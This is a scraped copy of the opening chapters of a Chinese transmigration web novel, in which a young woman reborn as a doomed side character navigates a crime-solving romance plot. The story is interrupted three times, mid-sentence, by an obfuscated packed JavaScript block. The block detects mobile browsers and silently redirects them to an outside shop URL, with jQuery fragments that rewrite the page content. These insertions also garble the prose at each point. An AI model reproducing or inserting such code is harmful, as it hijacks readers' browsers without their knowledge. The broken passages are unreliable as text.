《穿书女配的一万种求生方式》 1. 穿书 端坐在妆台前,微黄烛火中,幽幽的铜镜映射出女子苍白的脸。 窗外雷声轰鸣,一股强劲冷风顺着未关紧的窗沿席卷而来,引得女子一阵低咳,霎时,地面出现不少血迹。 手里的海棠花摇摇晃晃坠入血污之中,女子也手脚发软,刚站起身便倒在了妆台旁的地面上。 不过片刻,女子的脸有了轻微的抖动,一双明媚纯真的眼睛缓缓睁开。秦婉四处看了看,突然发现面前妆台上正端放着一方铜镜,她站起身凑近仔细瞧:略显苍白的圆润小脸,弯弯的远山眉,又圆又明亮的眼睛,肉嘟嘟的红唇。 秦婉抿起唇笑了一下,略带婴儿肥的脸上还洋溢着两个小酒窝,一整个珠圆玉润、娇生惯养的天真小姐模样。 摸着手上价值不菲的玉镯,秦婉心想,看来系统说的没错,这个炮灰女配的家境条件样样都很不错。上辈子现实世界作为孤儿的秦婉还需要拼死拼活赚下一顿饭钱,这辈子只要混过自己的剧情就能安心躺平,享受荣华富贵,划算划算! 没错,秦婉,一个初入职场的大学毕业生,没有关系、没有背景,甚至收养她的秦奶奶也在半年前离世了。大环境艰难,好不容易找到工作,勤勤恳恳小牛马,听着老板的各种PUA,顶着黑眼圈也要认真工作。不想,加班太过,一朝猝死,穿成这本万人迷书中的炮灰女配。 《渡仙》立意是一本破案群像文,主要讲的就是男配七皇子凌霄因皇权争夺、被打压排挤,后被皇上任命为督查使,指派到怪事频发的各地督查破案,机缘巧合收编了万人迷男主裴渡、武力值爆表叶宁,以及医修才女沈清清,这一支完美的主角小队在一路上破获奇案,最终成为一代传奇的故事。 但是看这本书的名字就知道,什么群像文,完全又是一部狗血巨作!全文的核心就是围绕着万人迷男主角裴渡各种展开,秦婉简直无力吐槽,想看的是破案文!是群像文!而不是各路妖魔鬼怪爱上我,难道这实际是一篇后宫文吗?! “系统,我只要扮演好痴恋裴渡的深情角色,偷窥、跟踪、告白,最终被有心人利用,心生歹念,在试图强迫裴渡的过程中,意外替裴渡挡了坏人的致命一击,最后狼狈下线了对吧?”秦婉盯着虚空中的一根透明胡萝卜一口气说完。 胡萝卜006狂点头,表示赞同,“对对对,是不是很简单~话说回来,宿主你肺活量好大啊!见面礼“天生神力”还有这个功能吗?” “......那我不是下线了吗?怎么享受荣华富贵呢?”秦婉不理会别的,只一心关注自己的生命安全和荣华富贵,千万不能像到手的鸭子一样飞走了。 “宿主别担心,书中的世界是以主角团为核心的,只有涉及到主角团才会要求必须按照剧情进行,等主角团前往下一个任务点时,这里将不再受剧情限制,我会找个时机让你复活~” 系统006一边回答,一边新奇的晃动着自己的萝卜胡须,006最爱的就是小兔子,结果系统外形就抽中了胡萝卜,怎么不算是一种特别的缘分呢。压根忘记了之前和秦婉夸口自己是身经百战的王者系统,单纯无害的新手马甲掉的干干净净。 今天的剧情是男配凌霄正式被任命为督查使、约见男主裴渡的日子,自此裴渡正式加入凌霄的队伍,成为除男配外的第一位主角团成员。想到明天对男主一见钟情、开始偷窥的剧情即将展开,秦婉准备先趁着夜色出门踩踩点,熟悉熟悉才安心,顺手拿起一盏灯,吱呀一声推开房门,走到廊外。 天色幽暗,暴雨倾盆,天边乍现的闪电给整个夜色笼罩上了一层恐怖的色彩。秦婉看着天色,冷风袭来,忍不住打了一个寒颤,顺手拿起墙边的一把油纸伞撑开就准备踏入雨中,身后却传来小丫鬟的呼喊声。 “小姐!雨这么大,您要去哪里呀!”小丫鬟采荷急急地走上前来,一把拿下秦婉手中的油纸伞收好,一边劝道:“小姐,您才染了风寒,该好生歇息才是,有什么事情采荷给您去做”。 说着,又不容拒绝般搀扶着秦婉的手走回屋内,转头又吩咐站着的其他两个小丫鬟放好汤药下去。 秦婉坐在床边正思考着应该用什么理由支开采荷去完成任务,就看采荷眉眼低垂四处扫了下,见四下无人凑近她的耳边小声道:“小姐,药已经下进去了”。 闻言,秦婉一怔,面上毫无波动,内心大叫:什么药啊?!系统!这什么剧情啊!谁?是谁?谁给我加戏了?! 采荷见秦婉没动,好像在走神,轻轻拉了下秦婉的衣袖,“小姐,外面没被迷晕的,也都被支开了,我们快去快回吧,何公子还在等小姐”。 秦婉回神,看着采荷点点头,既来之则安之,一切只能随机应变了。混沌的空间中,被呼喊的胡萝卜正懒洋洋的躺在沙滩上、晒着模拟日光浴,还好骗秦婉后续剧情中,系统只有在宿主生命受到危险时才会出现,现在可以快乐的躺在空间吃瓜摆烂了,这个班上的悠哉悠哉。 秦府侧门外,采荷刚伸手推开门,一道压低的清亮男声就传来:“秦小姐,好久不见”。 秦婉抬头,一个身着白衣的翩翩公子正一手提灯,一手撑着一把浅绿色的油纸伞站在门边笑意吟吟的看着自己。 在来的路上秦婉已经和采荷旁敲侧击的打听清楚了,原来秦婉三月前在街上遇到偷盗财物的小贼,正巧何云泽在一旁英雄救美,捉住了小贼拿回了财物,还一路护送秦婉主仆回了秦府。 “既然捉住了那小贼,公子何不直接让人将他送去衙门呢?” “小姐见怪,我见那小贼年纪尚小,衣不果腹,偷盗手段粗糙,想来应是生活所迫才不得不做的,我已将他收作家仆,将来定会好生教养”。 自此,秦婉便与这位风度翩翩又心地良善的何云泽日益相熟了起来,不仅偷偷有了私信往来,何云泽甚至还曾想上门拜访秦家主。 秦婉一脸天真懵懂,少女心思难以掩盖,说起何云泽,圆润白净的脸上飞满了红霞。却不想,秦父秦母却都对何云泽非常不满意,强令秦婉不可再与何云泽再来往。父母口中的他家室不错,但心思深沉,不爱学业,也未能考取功名,却爱攀附权贵,与宫中来往甚密。 秦婉见父亲母亲皆不同意,没有办法,只能被困在府内已有近一月未能见面。这次还是染了风寒想吃外面的糖点,让采荷顺路出府偷偷买了蒙汗药下到小厮的饭中,这才有机会来见面。 “秦小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029397|194515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐?”何云泽看秦婉没有动仿佛出神了,有点着急,但还是竭力压低语气温柔道:“秦小姐,不知银两准备得如何了?”。秦婉疑惑:“什么银两?”。何云泽着急起来,语气变得急促了些:“之前不是和你说过,要凑齐一百两白银给我吗?我有急用!”。 闻言,秦婉震惊,采荷也震惊,两人齐齐退后几步,采荷偷偷拉了下秦婉的衣角,小声道:“小姐,我们没有这么多银子,何公子他......”。 采荷的话还没说完,就见何云泽一脸怒容,正紧紧的盯着她们发髻上缠绕的名贵头面:“行了,我也不怪你,先把你们头上的发簪和手上的首饰给我!银子后面我再来拿!”。 在穿书前,一片混沌之中,006就给过秦婉一次见面抽奖机会,秦婉抽到的是“天生神力”。简单直白,拥有此能力的人力气会变得巨大。秦大力水手婉对此还挺满意。 此时,正是检验能力的大好机会啊! 秦婉感觉自己武力值都拉满了,跃跃欲试,一边扬起了一个甜甜的微笑走上前,一边抬起素手。身边的采荷一脸担忧,还想拉住秦婉,“小姐,这套头面是老夫人专门给小姐定制的,不能......”。 话音未落,就见秦婉撸起袖子,一只手掐着何云泽的脖子,一只手狂扇何云泽的脸。一边扇人,一边怒斥:“骗钱的死渣男,还上门讨钱,老娘把你打成猪头!让你专骗小姑娘!”。何云泽想挣扎,发现自己居然挣脱不开,顶着一个猪头脸惊恐的看着秦婉。秦婉扇了许久,感觉手腕都酸了,于是把猪头脸往门外一推,锁上门转身拍了拍手。 走在回房的路上,察觉到采荷一脸欲言又止的样子,秦婉清了清嗓子,假装不经意的开口:“采荷,你......你觉得我刚刚是不是太凶了?”。采荷猛地摇摇头,双眼亮晶晶的看着秦婉,“小姐!刚刚你好厉害啊!简直......简直像是话本里的那种大侠!”。 秦婉也笑了起来,晃晃自己的双手,“我变成了大力怪,你不怕?”,采荷摇摇头:“不怕不怕!小姐一直都这么厉害!”。秦婉心想,看来不仅是外貌,之前的女配性格和她都挺像的。电闪雷鸣,暴雨又来,来不及想更多,秦婉一把拉住采荷就转身向小院跑去。 “好采荷,今晚真是辛苦你了,早些歇息去吧”秦婉拍拍采荷肩上的雨水,打开了边卧的房门,不顾她欲言又止的表情,将人推了进去。 “小姐,眼下雨越发大了......实在不方便再出门了,小姐也早些歇息吧”采荷停住脚,转身抬眼认真的看着秦婉,头顶被吹乱的发丝在风中飘舞。秦婉一边抬手替她理了理发丝,一边夸张地表演,“知道啦,经此一遭,小姐我彻底对何猪头断了念想了,今晚要好好痛哭一场,你千万不要过来打扰我呜呜呜”。 采荷看着秦婉戏谑的眼神就知道她没事了,这才放下心来,笑着说,“采荷遵命”。 看着明明灭灭的烛火,躺在床上的秦婉真的没有再出门,原本只想提前偷偷踩点,结果直接就解锁新剧情。只想苟命富贵,丝毫不想再横生枝节了,还是按照原剧情一步步来吧。闭上眼强行让自己睡着的秦婉没想到,这不过只是个开始...... 2. 任务 暴雨放晴,空气好似都清澈了不少。秦婉站在院子里伸了伸腰,准备再做一套广播体操强身健体。 虽然有了“天生神力”这个强大的保命神器,但是这具身体毕竟一直养尊处优,清瘦娇软。昨晚的突发剧情让秦婉有了危机感,如果后面遇到更凶险的剧情,有一个强健的身体,起码逃跑也能比别人快两步。 “小姐!小姐!老爷让您去书房” 站在书房里,秦婉默默看着满墙的书册古画,不愧是书香门第的人家。秦父秦玉衡原也不是什么官宦子弟出身,家境贫寒,秦玉衡却凭借着过人的才学与坚韧不拔的意志,硬生生在科举仕途上杀出了一条血路。如今身居高位、和年少恋人相伴相守、爱女也长大成人,现下也可谓是人生赢家了。 “宝儿,快看爹爹给你带了什么”秦父一边跨步进门,一边笑着朝秦婉招手。秦婉走过去,就见秦父从身后拿出了一份请帖,上面龙飞凤舞的描着三个金字:赏花宴。 秦父一脸骄傲求夸夸的傲娇样子如果被外人看到必定大吃一惊,平日里不苟言笑的人面对爱女仿佛化开了似的。 秦婉也真的有点震惊了,因为原书里面根本没有这一段。作为炮灰女配只是在秦府的大门外看到了从赏花宴出来的万人迷男主,由此一见倾心。 “昨晚的事情呢,爹爹都知晓了,何云泽不是个良人,打得好!”秦玉衡见秦婉没有伸手来接请帖,清了清嗓子,一边说一边对外面使了个眼色。门外一直看着的秦母刘芸芸手里端着一个首饰盒走进来,笑着对秦婉说:“对啊,宝儿,瞧你父亲专程去要了请帖,赏花宴上必定有更多更好的才俊,宝儿定能看到更喜欢的,再者,还能和你的小姐妹们聚聚”。 秦婉明白过来,“谢谢父亲母亲,只是这赏花宴......”,刘芸芸见女儿脸上有了笑意,才把手里的首饰盒打开,里面是满满的精美首饰头面,“这是为你准备的,看看有没有喜欢的?”。秦婉素手从中拿了一支看似平平无奇的白玉簪。刘芸芸笑道:“宝儿好眼光!戴上真是玉灵可爱!”。 看着两人关心亲切的眼神,秦婉只得道谢,转身关门离开前只听到秦父对秦母的只言片语,“宫中......银子......”。 究竟谁能想到赏花宴会混进贼人?! 好歹也这么多官家小姐、少爷,这么草台班子吗?! 蹲在角落,又向地里使劲缩了缩身子,秦婉试图将自己融进这一片花丛之中。一身鹅黄襦裙,头上原本斜插着的雕花发簪都被拿了下来,捏在手心。好在没有穿什么花色过去出挑不同的衣服,说不定还能躲过一遭。 然而秦婉还没来得及顺一口气,头顶就传来了一道刻意压低的男声:“闭上眼!将身上的财物都交出来!”,秦婉心道,果然还是不行,乖乖的交上了自己身上的锦囊和发簪,保命要紧。 这一群黑衣男子体格健硕,身子矫健,打倒侍卫和家仆时轻松迅敏,不像是普通百姓或山匪盗贼,倒像是世家大族、富贵人家特意训练过的侍卫家奴。他们做事分工明确,口令简洁有力,动作标准规范,但是使着刀剑的样子好似都有点不习惯,都习惯性的向上多握了一拳。交完财物的秦婉正悄悄睁眼看着四周,突然眼前出现了一张蒙面脸,紧接着脖子一紧,整个人被拎着脖子提溜了起来。 秦婉被掐着,呼吸不过来,脸被憋得通红,使劲拍了拍男子的手,“咳咳额”。 “咔嚓”两掌拍下去,男子左手的小臂竟直接断了,软绵绵的塔拉下来。一时间全场的眼睛都看了过来,身旁的男子更是一惊,忍下痛声,右手执剑就要横刺过来。秦婉下意识伸手去拦,就见寒光一闪,长剑竟直接从中断成了两半。 剑锋锋利,割破了两只手掌心。双手血肉模糊,秦婉忍不住痛呼出声。身后的小姐少爷闻声睁眼,见花丛上全是血,忍不住都惊叫了起来,以为贼人准备杀人灭口,纷纷大叫起来,站起身逃跑,场面一时难以控制。 秦婉听到身后的一个黑衣人怒骂了断臂的黑衣人一句:“蠢货”,接着身形一闪,所有的黑衣人都消失了。 黑衣人消失的刹那,侯府大门轰然倒塌,大批的官兵手拿长剑冲了进来。为首的男子长身玉立,一身暗红色的官袍,腰间悬着一枚碧青色的龙纹玉佩。 “看来是我来迟了” 凌霄转身看向四周,只见形容狼狈的小姐公子们,不见所谓的黑衣人。 “这里有人受伤了!”一个侍卫看见痛倒的秦婉立刻高声汇报。闻言秦婉勉强直起身,就见眼前出现了一道身影。背着光,看不清面容,只闻到其人身上淡淡的香味,有点像是......像是秦奶奶煮的桂花酱的味道,甜绵柔软。 来不及想更多,就听见眼前的人开口,是一道明润清澈的嗓音 “受伤了?小姐有和贼人打斗过吗?贼人有什么特征?有看到过什么吗?” “......” 秦婉都快痛昏迷了,有什么话不能先处理她的伤势吗!没等秦婉开口,耳边又传来一道清冷的女声:“裴渡师兄,姑娘伤势严重,我需要先行医治”,接着,秦婉就感觉自己被搂近了一个清瘦温暖的怀里,疼痛袭来,眼前一黑,彻底失去了意识。 躺在床上,借着烛火,秦婉睁开眼悄悄打量了一下四周陌生的环境,又举起两只被医布包裹的紧紧的双手轻轻晃了晃,忍不住笑了,自己现在真的又惨又好笑,真的变成大力水手了。 正在这时,吱呀的一声,房门被推开了,夜色如墨,一道身影走了进来。 步履清缓优雅,身姿清瘦挺拔,一袭月牙色的白袍盛放着几朵金线勾勒的牡丹花,内里浅金色的衬衣交相辉映,衬得整个人矜贵不可方物。 长发及腰,被一根素色的白玉簪稳稳的束着,发丝翻飞见,隐约能看到其间还绑着一根细长的红发带。 男子嘴边挂着一抹标准的微笑,眼神明润温和,仿佛是初遇日光的春雪,看上去绵软温和却依旧冰冷刺骨,令人无法触碰。 看这骚包的打扮,秦婉知道这就是男主裴渡。作为万人迷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029398|194515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴渡总是打扮精致出场,无论何时何地都是风度翩翩的。秦婉感觉如果生在现代,裴渡做个穿搭博主之类的,应该也很挣钱。 裴渡进门后没有走过来,只是朝着秦婉点了点头,然后随意的坐在了一张椅子上,一只手撑着下巴饶有兴致的看着她。 气氛有点尴尬,秦婉清了清嗓子,开口:“公子找我有事?”。 裴渡点点头,站起身“你是天生力气这么大吗?” 秦婉这才看清,裴渡的手里正把玩着一块碎片,看样子像是什么刀剑的碎片。 秦婉移开视线,敷衍的嗯嗯了两声,就下床准备离开了。如今不是孤身一人了,天色已晚,秦父秦母见她还没回去肯定会担心的,采荷还说今晚要给她做药膳鸡。 门外走进来一个穿着青色布杉的女子,手里还端着一碗汤药,看见秦婉站在门前,微微一愣,“你醒了?风寒刚愈,需要注意保暖,这个是刚熬好的汤药,趁热喝了吧”。 秦婉点点头,看见女子递过汤药的手腕上缠绕着一根乌木手镯,上面密密麻麻雕刻着数不清的小字,就知道眼前这位就是原书中的医修才女沈清清。 作为男主裴渡同在药王谷一起长大的青梅竹马,原书中沈清清性格孤傲,无心尘事,专研医术。但是看着沈清清关切的眼睛,秦婉心想,或许,原书也没能百分百写出一个人的性格。 “一饮而尽?你就不怕我们在里面下毒?” 裴渡不知从哪边掏出了一把白羽折扇,正一边扇风,一边微微歪头看着秦婉。 “况且,我们没有见过吧,为什么感觉你好像认识我们很久了?” 秦婉僵在原地,拿着碗的手停在了空中。 见秦婉没有回答,裴渡勾起嘴角,正准备继续发问,就看见眼前的鹅黄身影一顿,突然大叫:“因为......因为我对你一见钟情!”。 秦婉涨红了脸色,明媚的眼睛却认真的盯着裴渡,慢慢的说:“因为我对你一见钟情,或许这就是前世有缘吧,所以我们相见恨晚”。 “啪!”裴渡一下收了折扇,面无表情的看了一会儿秦婉,然后转身离开了房间。 沈清清神色自若,好像什么也没听见,只是轻轻拍了拍秦婉的背,吩咐人送秦婉回去,就拿着碗走了。 秦府 “系统!别装死!你告诉我,现在的剧情是毛线吗?我不是个炮灰女配路人甲吗,怎么卷到主剧情里了?看看我的手!现在局面已经乱成一锅粥了!” “宿主,故事的主剧情没有变动,分支剧情有变动是很正常的!只要你完成了炮灰女配任务,我就向上级给你申请特别福利怎么样?绝对给你大惊喜的那种!” 胡萝卜006乖巧的出现在秦婉的身边,一边说,一边殷勤的给秦婉捶肩膀。 秦婉侧眸,狐疑的看着006,真心提问:“这么好心?”,006松开手,胡萝卜脸上是一个大大的假笑,“剧情确实有一点点偏移倾向,所以需要你......在必要的时刻引导剧情”。 3. 折腰 一方端正雅致的锦盒之中静静躺着一株人参。秦父随意扫了一眼,手一抬,便把盖子又合上了,“宝儿去侯府参加了个赏花宴,竟还能遇到贼人偷盗行刺,简直就是我今年听过最大的奇事!”。秦父越看人参越不顺眼,对着秦母抱怨,“宝儿受了这么重的伤,竟只是送个人参来装模作样!”。 秦母拿起人参端详片刻,才开口:“这株人参看起来也实在是......不过,近些时日许多地方凶案不断、怪象频生,听闻宫中的各位娘娘们也都清减吃穿用度,欲为苍生祈福、保佑天下太平。我们如今已经过得比普通人家好许多了,还是莫要意气用事、再生事端吧”。 一身桃粉色襦裙,衣袖上还绣着几只起舞翩翩的蝴蝶,发间没有贵重的首饰,只用两根同色系的桃粉发带编了两只辫子撇在耳后。秦婉整个人趴在院墙上,跟006嘟囔,也不知道裴渡究竟什么时候会从这边路过,难道要在这里干等下去吗! 006翻了翻原著,下一个剧情点是沈清清在街上采买药材时被袭击,裴渡会出现英雄救美,帅气英勇的身姿引得街上的众人惊呼侧目。 这一段中二的剧情秦婉无力吐槽,甚至想起了前些时日才暴打过的何云泽,“所以,我只要看到裴渡的身影就算作偷窥了对吧”,见006点头,秦婉继续特种兵潜伏。 果然,一个男子的身影正紧紧跟着沈清清,沈清清停下,他也停下,沈清清继续走,他便跟着继续走。沈清清明显也感觉到了不对劲,快步朝着人流最多的小摊走去。 秦婉瞪大双眼,不是吧,人呢!一个眨眼,人没了? 006也慌了,怎么剧情又变了,催秦婉赶紧去街上看看什么情况。 站在沈清清方才站的地方,秦婉向四处张望都没看到人,心里有些着急。毕竟沈清清也才救助过自己,如果在自己的眼皮子下面出事了,心里还挺难受的。 正在秦婉焦急的四处张望的时候,突然感觉后腰抵上了一个坚硬锋利的东西。 神奇啊神奇,秦婉居然一秒钟就想到这是什么了。身后的压低的男声威胁道:“跟着我走,否则立刻杀了你”。 秦婉轻微的点了点头,眼神却向四处看去,想找个趁手的武器,给身后的人来个扣头杀。不曾想身后的人仿佛洞悉了她的想法,有点气急败坏,嗓音都没来得及掩饰好,“给我老实点!”。腰上的刀刃割破了衣衫,刺破了肌肤,桃粉色的衣衫上浸出丝丝血迹,秦婉心下一沉,这个声音,不就是赏花宴上的那个贼人的声音吗! 秦婉慢慢的挪着步子,看着自己即将被带出人群,心下焦急,但脑海里迅速的闪过种种办法。 “啊!”身后的男子仿佛被人刺伤了,下意识松开了秦婉,秦婉抓住时机立刻拔腿就跑。余光中剑光阴寒,男子追上来,全然不顾嘴边还在流血,仿佛一定要杀了秦婉才罢休。 正在两人奔逃追杀间,一道修长的身影翩翩落在两人前方,淡淡的桂花香袭来,裴渡素白修长的手甩来一根红色的发带,发带随风翻飞之际,紧紧缠绕住秦婉的手腕,裴渡一用力,秦婉便被拉到了他的身后。 男子站在他们的对面,面容惊恐的看了一眼裴渡,转身欲逃。裴渡从袖间抽出了一把折扇,向前一挥,折扇瞬间变成了一道武器,翻转之间便割破了男子的脚筋。鲜血喷洒,男子惨叫一声,摊倒在地。 四处的百姓都惊呼出声、连连后退,下一秒看到裴渡缓缓走出的身影仿佛被夺舍一般,又纷纷开始感叹裴渡的样貌气度,就像是裴渡花钱请来的托一样。 秦婉刚把地上的男子打晕,抬头就看到这古怪的一幕忍不住笑了起来。裴渡转头,唇边挂着一抹微笑、眼神却是冷漠淡薄的看着她,一瞬间周边的空气都仿佛凝滞了。眼珠一转,秦婉想起了自己的痴情人设,立刻佯装开心的跑上前,掐着甜甜的嗓音:“公子,又是你啊......”。 秦婉还没说完,就看到了更神奇的一幕:在她跑上前的那一刻,四周感叹万人迷男主的百姓仿佛都回神了,又开始惊叫着四处奔逃。 秦婉下意识后退了几步,周围还没来得及跑走的百姓又开始感叹起男主的气质样貌了。 这是真的有点吓人了,人机感十足,秦婉都要起一身鸡皮疙瘩了。一直默默看着的裴渡却笑了起来,眼神都亮了几分,盯着她仿佛在盯着什么新奇有趣的物件,“秦小姐......真的很有趣”。 秦婉看着裴渡亮得令人发毛的眼睛也顾不得什么人设了,咽了咽口水,下意识就想要跑回家。 正在这时,凌霄带着侍卫姗姗来迟,沈清清也站在其中。终于看到沈清清了,秦婉连忙走上前,“我刚刚看到有坏人跟着你,你没事吧?”。沈清清笑着摇摇头,指了指秦婉腰间被血迹染透的衣衫,“我没事,但是秦小姐你又受伤了”。 坐在秦府的前厅,茶香缭绕中,裴渡俨然是一副翩翩公子的温润模样,开口就是道谢,“您客气了,我们还要多谢秦小姐,如果不是秦小姐,我们不能那么快抓到贼人”。秦父看着眼前谦和有礼的几人,心下又感谢又宽慰,招呼着几人留下用晚膳。 “那就叨扰了”裴渡站起身,一口应下,完全没看邻座沈清清和凌霄复杂的神色。 此时的秦婉正盘着双腿,双手叉腰,和006算账,“请问现在是什么情况?为什么受伤的总是我!”。 006讪笑两声,又理直气壮的说:“我都给你开了痛觉屏蔽,你现在应该感受不到疼痛了的”。 秦婉听了更是火冒三丈,“那我也给你开个痛觉屏蔽,你出来让我打!再说了,问题是这个吗!现在剧情走向都跑偏了啊!你给我好好解释解释刚刚出现的是什么诡异的情景!”。 006眼神飘忽,慢吞吞的道:“其实你穿成的是倒霉炮灰女配路人甲,这个倒霉体质还挺麻烦的......所以你才会遇到各种乱七八糟的事情”。 “你不要告诉我,倒霉和万人迷效果对冲了?这个倒霉体质碰到男主的万人迷光环就失效了吧!”秦婉一点就透,但是看着眼前006眨巴眨巴的肯定眼神,真的是宰系统的心都有了。 “裴渡是万人迷,我就是倒霉体质?凭什么?我不干了!”秦婉倒在床上,闭着眼睛大叫。 “唉唉唉,别放弃啊!倒霉怎么了,你不是还有我吗!我会保护你绝对不会有生命危险的!” “我只相信我自己,刚刚我都被人追杀了,你都没出现,你现在说能给我保证?” 006见秦婉闭着眼睛,明显不相信它的挂机模样,立刻着急了,这可是自己的第一个任务,千万不能直接黄了。咬咬牙,006开口,“我给你提前兑现一个护身马甲,这个可是黄金级别的道具了!据说能够抵挡一次致命攻击,无论是什么样的攻击形式哦”。 拿到一件轻薄的小衫,秦婉拿着灯仔细的看,只见上面是金线绣着的密密麻麻的符文。眼珠一转,秦婉发问,“如果我把它剪成很多块,是不是就能抵挡很多次攻击?”。 006震惊于此人的脑回路,还认真的思考了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029399|194515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才回答:“理论上......应该是的,但是越小的话,防御能力应该也越小吧”。 秦婉点点头,爬下床,掀开了床底的小柜子,将小衫叠得整整齐齐的放了进去。 秦婉刚刚收拾好,秦母就从外面走了进来,“宝儿,快用膳了,收拾好了吗?”。秦婉换好了一身浅绿色的襦裙,整个人清丽灵秀,笑着拉秦母的手晃了起来,“那得快点去,我都要饿扁啦!”。 秦母亲昵的点了点秦婉的眉心,“那快走吧,可不能饿坏了我们乖宝儿”。 秦府不尚奢华,菜肴简单,自己酿的梅子酒倒是可口,倾倒在白瓷杯中,氤氲出淡淡的酒香。 “小女能平安归来,真是多谢诸位了!”秦父举杯相敬,看着秦婉内心是一片后怕,甚至眼底都带了点点泪花。 凌霄一身暗红官袍,姿态优雅,神色谦和的站起身与秦父碰杯,“老师客气了,职责所在,不敢居功”。 裴渡也优雅起身,“若不是秦小姐聪慧,怕是等不到我们”。 “秦小姐,如今……,请务必保重安全,尽量少出门”,沈清清端着杯子,或许是几次碰面恰好都是秦婉受伤,脸上带些担忧的看着秦婉。 秦婉认真的点点头,她最在意的就是小命了。只要等主角团启程下一个任务点,她的任务完成,就可以安心躺平了。想想就开心,还能再多啃两个鸡腿。 余光突然扫到正盯着她看的裴渡,嘴里的鸡腿肉好像咽不下去了。秦婉脸上挂起一抹僵硬的微笑,“裴公子,来来来,多吃点”,说着还站起身拿起公筷给裴渡夹了两筷子自己最讨厌的青菜。 “裴渡师兄……”沈清清清雅的脸上出现了一丝裂痕,紧紧的看着裴渡,生怕他发作。凌霄捏着筷子的手也一紧,显然都知道裴渡的洁癖之重,不肯让别人触碰,更别说吃别人夹的菜了。 众人目光中心的裴渡面色如常,只是眼神落在碗里的青菜片刻,就笑起来,放到口中,“多谢秦小姐”。 秦婉看裴渡笑容澄澈,如一汪清水,黑黝黝的眼珠却好似有魔力一般,像是要把人吸进去,搅拌融和揉碎。秦婉甩开乱七八糟的想法,认真扮演起芳心暗许的小女子。 双颊飘红,眼神飘忽,一边吃饭,一边偷偷扫过裴渡。突然对上眼神,裴渡定定的看着她,眼神复杂探究,秦婉怔住,就看裴渡嘴角勾勒的弧度越来越大,片刻笑出了声。 众人看过来的时刻,裴渡朝着秦父秦母拱手开口,眼睛却还看着秦婉,“秦小姐聪慧过人又天生神力,若无武术加成,实在可惜。裴某不才,想自请做个教导师傅”。 秦父秦母都连连答应,感激不尽。一方面是觉得世道变了,秦婉若有武功在身,无论如何可保自身平安;另一方面则是看出了秦婉的倾慕,刚好可以留在府中多接触查看为人。 根本没给秦婉拒绝的机会,秦婉只能被迫答应,“多谢……裴公子”。 想来凌霄在大理寺的学习任职时间还有一个月,一个月结束他们就会离开。距离更近,也更方便自己的偷窥告白,秦婉越想越觉得还真的不错! 夜色弥漫,竹影斑驳,几人走在青石路上。“裴渡师兄,为何……为何突然就要去给秦小姐上课,难道师兄你……”离开了秦府的沈清清好似被夺舍了一般,清冷疏离的少女转瞬化身爱慕痴情者,纤细的手指紧紧搅着衣角,嗓音有点犹豫委屈。 “果然如此”裴渡没有回答沈清清,只是回首神色不明的看向夜色中被灯笼余晖映得泛黄的牌匾:秦府。 4. 修身 熹微日光里,空气中还残留着缕缕白茫茫的雾气,庭院中的树枝交叠,映出片片幽暗。清晨的雾气沾染了发梢,淡淡的水汽氤氲在眼睫上,秦婉没空擦拭,还在气喘吁吁的跑步。 “秦小姐?” 裴渡正站在庭院入口处,一身玉白色的长袍,长袍衣摆处还镶着一圈烫金边。长身玉立,修长的手腕上还缠绕着一圈红色的发带,笑盈盈的看着这边。 “裴公子,早啊”秦婉气喘吁吁地跑到他面前,停下脚步露出一个标准的微笑。 裴渡眼神扫过她热得红扑扑的脸,走近两步,随手掏出一块手帕递了过去,“秦小姐怎么不等我过来再开始?”。 秦婉接过手帕道了声谢,抬手擦了擦额头的细汗,眼眸像水洗过的玻璃珠般,亮晶晶的看着裴渡“提前热身做好准备嘛!”,顺手就要将手帕收好,没想到裴渡开口,“秦小姐,手帕可以给我吗?”。 秦婉有点诧异,“可以啊......可是可是这还没洗”,裴渡温和的笑着,手里的动作却是迅速,直接拿过手帕整齐的叠好又放回了袖间,“没关系的”。 没关系吗?!这还是原著里面的洁癖精吗?!没谈过恋爱也看过偶像剧,裴渡的眼神绝对不是爱慕,不是爱慕,那他为什么要收集自己用过的手帕? “这是送你的见面礼”裴渡伸手递过来一条红色的发带,打断了秦婉的思考。秦婉道谢接过,发带触感不凡,不像是普通发带,仔细打量起来,好像还有点眼熟。 “武器无论大小,趁手最要紧”裴渡指了指红色发带的首尾两端,“首尾两端可自相连接,甩出再带回即可勾回物件”。 这是吸铁石原理吗?随手甩了出去再收力收回,果然将地上的一盆花带了回来。“好厉害!”秦婉转头,笑眼弯弯,明显对这个礼物非常感兴趣。 裴渡笑了,指了指前方的池塘,“接下来教你如何发力才能杀人”,秦婉呼吸一滞,笑意僵在脸上,纤细手指下意识死死捏紧发带,嗓音有点发涩,“杀......”。 